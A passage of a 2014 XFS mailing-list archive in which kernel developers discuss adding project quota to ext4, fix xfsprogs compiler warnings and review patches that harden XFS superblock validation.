of the b) is also that it's somewhat messier to get / set = project id >> from kernel. So I'm more in favor of a). I even think we could = introduce >> the additional id rather seamlessly using i_extra_i_size but I have = to have >> a look into details. Anyway I guess we can talk about the options at = LSF. >=20 > I don't have a bias against both of two options. It seems that we can > introduce a new id seamlessly using i_extra_isize. >=20 > 1) old kernel + new disk layout > We can read/write new inode because new id doesn't be changed. >=20 > 2) new kernel + old disk layout > We can use EXT4_FITS_IN_INODE to check whether new id can fit into an > inode or not. We will check and report error when we try to enable > project quota on a file system with old disk layout in = ext4_fill_super(). We also have a patch for e2fsck to increase i_extra_isize to ensure it has enough space to hold a larger ext4_inode size, if this is required for an existing filesystem that is upgraded to use this feature: = http://git.whamcloud.com/?p=3Dtools/e2fsprogs.git;a=3Dcommit;h=3De7653a1d3= 653d0bffc4617d8be8ce0a2c18b54c1 and tests for this feature: = http://git.whamcloud.com/?p=3Dtools/e2fsprogs.git;a=3Dcommit;h=3D318a2688a= a34e7dab383137fffaa413b882d13df Cheers, Andreas >>> Here I propose to use option *b)* because it is easy for us to = support >>> project id and we don't need to worry about changing disk layout. = But >>> I raise another issue here. Now inline_data feature has been = applied. >>> After waiting inline_data feature stable, we'd better enable = inline_data >>> feature by default when we create a new ext4 file system. Now the = inode >>> size is 256 bytes by default, we have 72 bytes extra size to store >>> inline data: >>> 256 (default inode size) - >>> 156 (ext4_inode) + 4 (ext4_xattr_ibody_header) + >>> 20 (ext4_xattr_entry) + 4 (value) =3D 72 >>>=20 >>> If we store project id in xattr, we just leave 48 bytes for inline = data. >>> I am not sure whether or not it is too small for some users. >>>=20 >>> When we store project id in xattr, we will use {get,set}fattr to = get/set >>> project id. Thus we don't need to change userspace tool to = manipulate >>> project id. Meanwhile a _INHERENT flag for inode needs to be = defined to >>> indicate that new directory creating in a directory with this flag = will >>> get the same project id and get marked with this flag. =20 >>>=20 >>> Project quota API >>> ----------------- >>> For keeping consistency with xfs, here I propose to use Q_X* flag to >>> communicate with kernel via quotactl(2) as we discussed. Due to = this we >>> need to define some callback functions to support Q_X* flag. That = means >>> that ext4 will support two quota flag sets for being compatible with >>> legacy userspace tools and use the same quotactl API to communicate = with >>> kernel for project id like xfs. >> We can as well extend current VFS API to cover also project quotas. = That >> would make things somewhat more logical from userspace POV.=20 >=20 > Your meaning is that we support Q_* flag and Q_X* flag simultaneously? >=20 > Thanks, > - Zheng >=20 >>=20 >>> Currently quota subsystem in vfs doesn't handle project quota. Thus = we >>> need to make quota subsystem handle project id properly (e.g. >>> dquot_transfer, dquot_initialize). We need to define a new callback >>> function in order to get project id. Now in vfs we can access = uid/gid >>> directly from inode, but we have no way to get project id. A = generic >>> callback function is defined to handle uid/gid. The file system = itself >>> can handle project id. Until now only ext4 needs to implement this >>> callback function by itself because xfs doesn't use vfs quota = subsystem. >> So we need to get ids from external structures only in two places. = One is >> dquot_initialize() and the other is dquot_transfer(). Instead of = providing >> callback to get project id, we could just create a variant of these = functions >> which will get required ids from a passed array instead of directly = from >> the inode. >>=20 >>> For handling link(2)/rename(2) like xfs, we only allow hard link or >>> rename operation when the project ids are the same. Otherwise we = will >>> return EXDEV error to notify the user. >>>=20 >>> Quota-tools >>> ----------- >>> Now quota-tools (e.g. quotaon, edquota, etc...) don't support = project >>> quota. Thus we need to make it support project id. I believe that = Li >>> Xi did some works on quota-tools. >>>=20 >>> E2fsprogs >>> --------- >>> After supporting project quota, we need to change e2fsck(1) to make = sure >>> that all sub-directories with _INHERENT flag have the same project = id. >>> Meanwhile we need to make chattr(1) set/clear _INHERENT flag. >>=20 >> Honza >> --=20 >> Jan Kara <jack@suse.cz> >> SUSE Labs, CR Cheers, Andreas --Apple-Mail=_7F6A7B36-3439-4BCC-9079-838BC4EF6EB0 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - http://gpgtools.org iQIVAwUBUuqghnKl2rkXzB/gAQLpgxAAipYrhFoOdVzfh97k1OTiRAO8gvKPJe5F y3Ai+JJuBio2bShgs8nZ8bDzpskdH9xBTfmqgWZ9meXteMpeoHDbOMYmKSxgHS8v /NtWP3Ma8Nk3sa4LuJ9lLj4keX78QrKB1Xln/KmxK4wpfOP6UoYPwv+ULU9T4Ch5 mDalZ7t27YlpyGKSwn2YTBMbve1jab06Jt/107eyD1G4hMarw6aKxjc20oTg+tv4 6ALoSWhaG8N/xaOnaw4bVeijrJC+DbIctlv2L9ygXydMrgpdFFXP5Zja/4gdDsUU e+d0d/ur6FX6cxmwbCYo44r0tPG1mrPh9qAA4DeYpYz6WA+wPn+LZ3zmPEGYd872 tNXGGq4WS72OVplnkdqtvL9vdTT5lNUhNy+gAl1NyTBrmqSUw0u2xU+EkRAvAJdh pszXsDkoJ/+9MKxtOW6A/Av3owTdtPbyQpS1Cv4J3SJOG2z6iSsg963+CwL0x4Lf hZi9jOZ8M7EIPoC4c5f0LsU8eqzqC3oP/TxFe+KATxNlK6J6xQ/LXxoS7sJ/3EaV MV1WjYCAUP16Bnw1nWLzsRBamHo5dROPa3hI2j6U97UOEpnE8QDfaVecUFSh7YFs p7rymZ/qcKlnCazmxIgSQQTVgytDa+n9OT9BB6Z8KpNQZLSovYUsvhY2ewvc6dEY LthhXeKaYjQ= =9jnf -----END PGP SIGNATURE----- --Apple-Mail=_7F6A7B36-3439-4BCC-9079-838BC4EF6EB0-- From rjohnston@sgi.com Thu Jan 30 13:20:11 2014 Return-Path: <rjohnston@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F26A27F69 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 13:20:10 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9524A30407A; Thu, 30 Jan 2014 11:20:10 -0800 (PST) Received: from [134.15.0.179] (134.15.0.179) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Thu, 30 Jan 2014 13:20:10 -0600 Message-ID: <52EAA5E9.8020402@sgi.com> Date: Thu, 30 Jan 2014 13:20:09 -0600 From: Rich Johnston <rjohnston@sgi.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3aWN6?= <arekm@maven.pl> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> <201401281829.49414.arekm@maven.pl> In-Reply-To: <201401281829.49414.arekm@maven.pl> Content-Type: text/plain; charset="UTF-8"; format=flowed Content-Transfer-Encoding: 8bit X-Originating-IP: [134.15.0.179] Hey Arkadiusz, On 01/28/2014 11:29 AM, Arkadiusz Miśkiewicz wrote: > On Tuesday 28 of January 2014, Dave Chinner wrote: > >>> f3d3dae... libxfs: fix root inode handling inconsistencies >> >> Introduces this compiler warning in db/init.c: >> >> init.c: In function ¿init¿: >> init.c:152:3: warning: implicit declaration of function >> ¿xfs_initialize_perag_data¿ [-Wimplicit-function-declaration] > > Probably revert this one, right? Just a compiler warning which does not happen in the master branch. > >>> 982508b... xfsprogs: fix inode crash in xfs_repair >> >> Introduces this compiler warning in repair/phase6.c: >> >> phase6.c: In function ¿mk_orphanage¿: >> phase6.c:895:3: warning: implicit declaration of function ¿alloc_ex_data¿ >> [-Wimplicit-function-declaration > > 2e1622703bb5c01e5f6d5fa087999c768868aa0b xfs_repair: add prototype for alloc_ex_data() > This has been committed e3ffe68... xfs_repair: add prototype for alloc_ex_data() Thanks --Rich From jack@suse.cz Thu Jan 30 13:42:31 2014 Return-Path: <jack@suse.cz> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB7967F63 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 13:42:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 61CDAAC00A for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 11:42:27 -0800 (PST) X-ASG-Debug-ID: 1391110945-04cbb00c2b32eb0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id s822VRq2SUCORFbH (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 11:42:26 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 0241FAC86; Thu, 30 Jan 2014 19:42:25 +0000 (UTC) Received: by quack.suse.cz (Postfix, from userid 1000) id 3790C80EA0; Thu, 30 Jan 2014 20:42:24 +0100 (CET) Date: Thu, 30 Jan 2014 20:42:24 +0100 From: Jan Kara <jack@suse.cz> To: Andreas Dilger <adilger@dilger.ca> Cc: Zheng Liu <gnehzuil.liu@gmail.com>, Jan Kara <jack@suse.cz>, linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Dave Chinner <david@fromorbit.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140130194224.GA22955@quack.suse.cz> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota References: <20140128064248.GA8653@gmail.com> <20140128143514.GB13676@quack.suse.cz> <20140129034824.GA12757@gmail.com> <A5AD0D66-C4F5-4177-9F87-E3BC59B348B8@dilger.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <A5AD0D66-C4F5-4177-9F87-E3BC59B348B8@dilger.ca> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1391110945 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144651 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu 30-01-14 11:57:10, Andreas Dilger wrote: > On Jan 28, 2014, at 8:48 PM, Zheng Liu <gnehzuil.liu@gmail.com> wrote: > > On Tue, Jan 28, 2014 at 03:35:14PM +0100, Jan Kara wrote: > >> On Tue 28-01-14 14:42:49, Zheng Liu wrote: > >>> For project quota, the key issue is how to handle link(2)/rename(2). We > >>> summarize the behaviour in xfs as following. > >>> > >>> *Note* > >>> + unaccounted dir > >>> x accounted dir > >>> > >>> link(2) > >>> ------- > >>> + x > >>> + ok error (EXDEV) > >>> x ok error (EXDEV) > > Presumably this accounted-to-accounted link() is only an error if > it is between directories of two different projects? Yes, I understand it that way. > >>> rename(2) > >>> --------- > >>> + x > >>> + ok ok > >>> x wrong ok > >> > >> So moving unaccounted file/dir into an accounted dir would be OK? How is > >> that? > > > > Actually xfs will return EXDEV error when we try to move unaccounted > > file/dir into an accounted dir. Then userspace tools (e.g. mv(1)) will > > use create(2)/read(2)/write(2) syscalls to create these files/dirs from > > scratch, and get the same id from their parent. > > Why wouldn't renaming an unaccounted file into an accounted directory > just be implemented by doing the equivalent of chown() to change the > project ID and setting the quota? That could avoid a HUGE amount of > data copying for large files. Well, the trouble is not so much with a file but with a directory. If you move an unaccounted directory in an accounted dir, you would have to recursively go through it and account each file. That isn't possible to do reliably from the kernel... And allowing files but disallowing dirs seems inconsistent so I'm in favor of a simple API. Honza -- Jan Kara <jack@suse.cz> SUSE Labs, CR From david@fromorbit.com Thu Jan 30 14:19:30 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 699E97F76 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:19:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 39CD630407B for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:19:27 -0800 (PST) X-ASG-Debug-ID: 1391113165-04bdf0121e37f90001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id NTtfcGqlod250NWY for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:19:25 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ah0JAPqy6lJ5LGaB/2dsb2JhbABZgwyDPrUjhVKBCxd0giUBAQEEOhwjEAgDDgoJDBkPBQ0YAyETh3EDEMMNDYkWFxaMVoFJTQcKhC4EljyBa4pVBIIGhUGDQSiBLQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 31 Jan 2014 06:49:24 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W8y53-0006kV-Dc; Fri, 31 Jan 2014 07:19:21 +1100 Date: Fri, 31 Jan 2014 07:19:21 +1100 From: Dave Chinner <david@fromorbit.com> To: Jan Kara <jack@suse.cz> Cc: Andreas Dilger <adilger@dilger.ca>, Zheng Liu <gnehzuil.liu@gmail.com>, linux-ext4 <linux-ext4@vger.kernel.org>, linux-fsdevel <linux-fsdevel@vger.kernel.org>, xfs@oss.sgi.com, Theodore Ts'o <tytso@mit.edu>, Dmitry Monakhov <dmonakhov@openvz.org>, Li Xi <pkuelelixi@gmail.com>, Ben Myers <bpm@sgi.com> Subject: Re: [RFC] A draft for making ext4 support project quota Message-ID: <20140130201921.GN2212@dastard> X-ASG-Orig-Subj: Re: [RFC] A draft for making ext4 support project quota References: <20140128064248.GA8653@gmail.com> <20140128143514.GB13676@quack.suse.cz> <20140129034824.GA12757@gmail.com> <A5AD0D66-C4F5-4177-9F87-E3BC59B348B8@dilger.ca> <20140130194224.GA22955@quack.suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140130194224.GA22955@quack.suse.cz> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391113165 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144653 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Jan 30, 2014 at 08:42:24PM +0100, Jan Kara wrote: > On Thu 30-01-14 11:57:10, Andreas Dilger wrote: > > On Jan 28, 2014, at 8:48 PM, Zheng Liu <gnehzuil.liu@gmail.com> wrote: > > > On Tue, Jan 28, 2014 at 03:35:14PM +0100, Jan Kara wrote: > > >> On Tue 28-01-14 14:42:49, Zheng Liu wrote: > > >>> For project quota, the key issue is how to handle link(2)/rename(2). We > > >>> summarize the behaviour in xfs as following. > > >>> > > >>> *Note* > > >>> + unaccounted dir > > >>> x accounted dir > > >>> > > >>> link(2) > > >>> ------- > > >>> + x > > >>> + ok error (EXDEV) > > >>> x ok error (EXDEV) > > > > Presumably this accounted-to-accounted link() is only an error if > > it is between directories of two different projects? > Yes, I understand it that way. Correct. You can have multiple hardlinks within a project, just not across projects. > > >>> rename(2) > > >>> --------- > > >>> + x > > >>> + ok ok > > >>> x wrong ok > > >> > > >> So moving unaccounted file/dir into an accounted dir would be OK? How is > > >> that? > > > > > > Actually xfs will return EXDEV error when we try to move unaccounted > > > file/dir into an accounted dir. Then userspace tools (e.g. mv(1)) will > > > use create(2)/read(2)/write(2) syscalls to create these files/dirs from > > > scratch, and get the same id from their parent. > > > > Why wouldn't renaming an unaccounted file into an accounted directory > > just be implemented by doing the equivalent of chown() to change the > > project ID and setting the quota? That could avoid a HUGE amount of > > data copying for large files. > Well, the trouble is not so much with a file but with a directory. If you > move an unaccounted directory in an accounted dir, you would have to > recursively go through it and account each file. That isn't possible to do > reliably from the kernel... And allowing files but disallowing dirs seems > inconsistent so I'm in favor of a simple API. Even files are problematic. Think of a file with multiple hard links. You can't rename one of those links across to a directory with a different project quota ID for the same reason you can't create hard links across different project ID contexts... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@sandeen.net Thu Jan 30 14:20:07 2014 Return-Path: <sandeen@sandeen.net> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A73567F7D for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:20:07 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2BD1DAC003 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:20:03 -0800 (PST) X-ASG-Debug-ID: 1391113202-04cbb00c2a33e90001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id gu4Pz9gLnaahjq9a for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:20:02 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id F153065B687F; Thu, 30 Jan 2014 14:20:01 -0600 (CST) Message-ID: <52EAB3F0.3010605@sandeen.net> Date: Thu, 30 Jan 2014 14:20:00 -0600 From: Eric Sandeen <sandeen@sandeen.net> User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Rich Johnston <rjohnston@sgi.com>, =?UTF-8?B?QXJrYWRpdXN6IE1pxZtraWV3?= =?UTF-8?B?aWN6?= <arekm@maven.pl> CC: xfs-oss <xfs@oss.sgi.com> Subject: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 References: <201401201822.48520.arekm@maven.pl> <52E6A9A2.1010905@sgi.com> <20140128044216.GI2212@dastard> <201401281829.49414.arekm@maven.pl> <52EAA5E9.8020402@sgi.com> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfsprogs for-3.1.12 branch has been updated to 40c65a7 In-Reply-To: <52EAA5E9.8020402@sgi.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1391113202 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144654 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/30/14, 1:20 PM, Rich Johnston wrote: > Hey Arkadiusz, > > > On 01/28/2014 11:29 AM, Arkadiusz Miśkiewicz wrote: >> On Tuesday 28 of January 2014, Dave Chinner wrote: >> >>>> f3d3dae... libxfs: fix root inode handling inconsistencies >>> >>> Introduces this compiler warning in db/init.c: >>> >>> init.c: In function ¿init¿: >>> init.c:152:3: warning: implicit declaration of function >>> ¿xfs_initialize_perag_data¿ [-Wimplicit-function-declaration] >> >> Probably revert this one, right? > > Just a compiler warning which does not happen in the master branch. well, let's get it fixed anyway. moving the prototype to include/xfs_mount.h fixes it up. -Eric From bfoster@redhat.com Thu Jan 30 14:26:09 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 64F017F81 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:26:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3D6AC30407A for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:26:09 -0800 (PST) X-ASG-Debug-ID: 1391113568-04cbb00c2934120001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id foH2WYmtPYONmlf2 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:26:08 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKQ7EN001091 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:26:08 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKQ7d8013177 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:26:07 -0500 Message-ID: <52EAB55E.5030204@redhat.com> Date: Thu, 30 Jan 2014 15:26:06 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb References: <52E88357.6090104@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: sanitize sb_inopblock in xfs_mount_validate_sb In-Reply-To: <52E88357.6090104@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391113568 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/28/2014 11:28 PM, Eric Sandeen wrote: > xfs_mount_validate_sb doesn't check sb_inopblock for sanity > (as does its xfs_repair counterpart, FWIW). > > If it's out of bounds, we can go off the rails in i.e. > xfs_inode_buf_verify(), which uses sb_inopblock as a loop > limit when stepping through a metadata buffer. > > The problem can be demonstrated easily by corrupting > sb_inopblock with xfs_db and trying to mount the result: > > # mkfs.xfs -dfile,name=fsfile,size=1g > # xfs_db -x fsfile > xfs_db> sb 0 > xfs_db> write inopblock 512 > inopblock = 512 > xfs_db> quit > > # mount -o loop fsfile mnt > and we blow up in xfs_inode_buf_verify(). > > With this patch, we get a (very noisy) corruption error, > and fail the mount as we should. > > Signed-off-by: Eric Sandeen <sandeen@redhat.com> > --- Reviewed-by: Brian Foster <bfoster@redhat.com> > > diff --git a/fs/xfs/xfs_sb.c b/fs/xfs/xfs_sb.c > index b7c9aea..511cce9 100644 > --- a/fs/xfs/xfs_sb.c > +++ b/fs/xfs/xfs_sb.c > @@ -288,6 +288,7 @@ xfs_mount_validate_sb( > sbp->sb_inodelog < XFS_DINODE_MIN_LOG || > sbp->sb_inodelog > XFS_DINODE_MAX_LOG || > sbp->sb_inodesize != (1 << sbp->sb_inodelog) || > + sbp->sb_inopblock != howmany(sbp->sb_blocksize,sbp->sb_inodesize) || > (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || > (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || > (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From bfoster@redhat.com Thu Jan 30 14:26:25 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5B0CA7F85 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 14:26:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C6F94AC003 for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:26:24 -0800 (PST) X-ASG-Debug-ID: 1391113583-04cb6c6de034590001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ErtCBfcFGW2AyiNA for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 12:26:23 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKQNL8001212 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Thu, 30 Jan 2014 15:26:23 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0UKQMO7012208; Thu, 30 Jan 2014 15:26:22 -0500 Message-ID: <52EAB56D.2050203@redhat.com> Date: Thu, 30 Jan 2014 15:26:21 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Eric Sandeen <sandeen@redhat.com>, xfs-oss <xfs@oss.sgi.com> Subject: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption References: <52E88D8B.90208@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: limit superblock corruption errors to probable corruption In-Reply-To: <52E88D8B.90208@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391113583 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/29/2014 12:11 AM, Eric Sandeen wrote: > Today, if > > xfs_sb_read_verify > xfs_sb_verify > xfs_mount_validate_sb > > detects superblock corruption, it'll be extremely noisy, dumping > 2 stacks, 2 hexdumps, etc. > > This is because we call XFS_CORRUPTION_ERROR in xfs_mount_validate_sb > as well as in xfs_sb_read_verify. > > Also, *any* errors in 